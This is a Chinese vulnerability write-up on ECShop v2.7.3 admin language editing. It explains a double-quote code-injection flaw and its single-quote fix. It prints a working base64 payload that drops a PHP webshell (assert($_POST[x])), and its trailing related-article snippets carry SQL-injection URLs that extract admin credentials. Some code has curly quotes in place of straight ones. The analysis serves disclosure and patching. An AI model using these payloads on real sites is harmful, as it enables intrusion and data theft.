ECSHOP v2.7.3注入漏洞分析和修复

  1. 测试版本
  2. 漏洞条件
  3. 漏洞利用
  4. 产生原因
  5. 修复方案

1.测试版本

v2.7.3 RELEASE 20121106(最新)
v2.7.3 RELEASE 20120411

2.漏洞条件

需登录到后台

3.漏洞利用

1) 登陆到台后,选择模板管理,语言项编辑,搜索“用户信息”

为什么要搜索“用户信息”,还可以搜索其它的吗?

答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以

2) 添加如下后门,将用户信息改为

用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}

即生成一个JoyChou.php文件,内容为:

<?php
assert(
$_POST[x]
);
?>

3) 访问user.php即可产生shell(不用注册登录账户)

http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php
或
http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php

4.产生原因

在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。

 for ($i = 0; $i < count($_POST[‘item_id‘]); $i++)
    {
        /* 语言项内容如果为空,不修改 */
        if (trim($_POST[‘item_content‘][$i]) == ‘‘)
        {
            unset($src_items[$i]);
        }
        else
        {
            $_POST[‘item_content‘][$i] = str_replace(‘\\\\n‘, ‘\\n‘, $_POST[‘item_content‘][$i]);
            /* $_POST[‘item_content‘][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容
               $dst_items[$i] 是 $_LANG[‘label_profile‘] = "用户信息${${fputs(fopen";
            */
            $dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘"‘ .$_POST[‘item_content‘][$i]. ‘";‘;
        }
    }

修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦

$_LANG[‘label_profile‘] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";

由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。

至于为什么可以执行?原理如下:

下面这三句话都可以执行,与其说代码执行,不如说参数执行。

<?php
$a = "${ phpinfo()}";  // 有一个空格
$b = "{${phpinfo()}}"; // 多一对{},但是没有空格
$c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}";
$d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串
?>

而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。

/* 载入语言文件 */
require_once(ROOT_PATH . ‘languages/‘ .$_CFG[‘lang‘]. ‘/user.php‘);

5.漏洞修复

了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号

修改\admin\edit_languages.php

// 修复前
$dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘"‘ .$_POST[‘item_content‘][$i]. ‘";‘;
// 修复后,由于想在单引号之间出现单引号,必须使用转义。
$dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘\‘‘ .$_POST[‘item_content‘][$i]. ‘\‘;‘;

再次访问http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。

注:这个注入漏洞很老,但一直存在。我从模板堂下载的ECShop最新版,就含有此漏洞。网站搭建在阿里云,提示服务器上ECShop有注入漏洞,查看后才发现。虽然我已经及时修复,但更多用户可能未曾留意或者没技术支持吧。

 

时间: 2024-11-09 03:10:16

ECSHOP v2.7.3注入漏洞分析和修复的相关文章

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

ASP超级网店V2.5一注入漏洞

Title:ASP超级网店V2.5一注入漏洞  --2011-10-30 17:59 ASP超级网店V2.5 这个系统,有很多地方可以注入 http://www.xxxxxx.com/admin/pinglun.asp?id=1%20and%201=2%20union%20select%201,2,admin,4,password,6,7,8,9,10,11%20from%20admin http://www.XXXX.com/admin/pinglun.asp?id=739%20and%201

JDBC的SQL注入漏洞分析和解决

1.1.1 SQL注入漏洞分析 1.1.2 SQL注入漏洞解决 需要采用PreparedStatement对象解决SQL注入漏洞.这个对象将SQL预先进行编译,使用?作为占位符.?所代表内容是SQL所固定.再次传入变量(包含SQL的关键字).这个时候也不会识别这些关键字. public class UserDao { ????????? ????????public boolean login(String username,String password){ ????????????????C

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

phpyun人才管理系统V5.0 SQL注入漏洞分析

*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做* cms背景介绍 PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用:B/S+c/s技术框架,程序源代码100%完全开放!基于PHP 和 MySQL 数据库构建的为核心开发. 漏洞类型 前台SQL盲注 漏洞描述 Phpyun最新版本V5.0中,在用户邮箱认证处,存在SQL延时注入.其未对 base64解密后的email参数进行任何过滤,从而导致漏洞产生. 漏洞产生链分

jQuery CVE-2019-11358原型污染漏洞分析和修复建议

一.安全通告 jQuery官方于日前发布安全预警通告,通报了漏洞编号为 CVE-2019-11358的原型污染漏洞.由攻击者控制的属性可被注入对象,之后或经由触发 JavaScript 异常引发拒绝服务,或篡改该应用程序源代码从而强制执行攻击者注入的代码路径.奇安信代码卫士将持续关注该漏洞进展,并第一时间为您更新该漏洞信息. 二.文档信息 文档名称 jQuery CVE-2019-11358原型污染漏洞 关键字 jQuery,原型污染 发布日期 2019年4月23日 分析团队 奇安信代码卫士 三

【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/cltphp 默认后台地址: http://127.0.0.1/admin/login/index.html 默认账号密码: 后台登录名:admin  密码:admin123 测试网站首页: 0x01 代码分析 1.漏洞文件位置:/app/wchat/controller/Wchat.php第100

[CVE-2017-5487] WordPress &lt;=4.7.1 REST API 内容注入漏洞分析与复现

不是很新的漏洞,记录下自己的工作任务 漏洞影响: 未授权获取发布过文章的其他用户的用户名.id 触发前提:wordpress配置REST API 影响版本:<= 4.7 0x01漏洞复现 复现环境: 1) Apache2.4   2) PHP 7.0   3) wordPress 4.7.1 https://wordpress.org/wordpress-4.7.1.tar.gz)并安装 (点击下载) 确认 Httpd-conf  Allowover All Exploit: https://w

discuz7.2 faq.php 注入漏洞分析

写在前面的话:分析完整个漏洞,不得不感叹,发现漏洞的人真的好细心呀. 在分析整个漏洞之前,没看poc,然后就直接看faq.php 准备试试自己发现漏洞的能力,但是分析完一整个php,也是卡在 in() 这里,因为整个faq.php就这里的参数是可控的.但是也没看出什么来,最后看了poc之后焕然大悟,然后开始感慨. 先看poc吧,按着poc来分析. /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(sel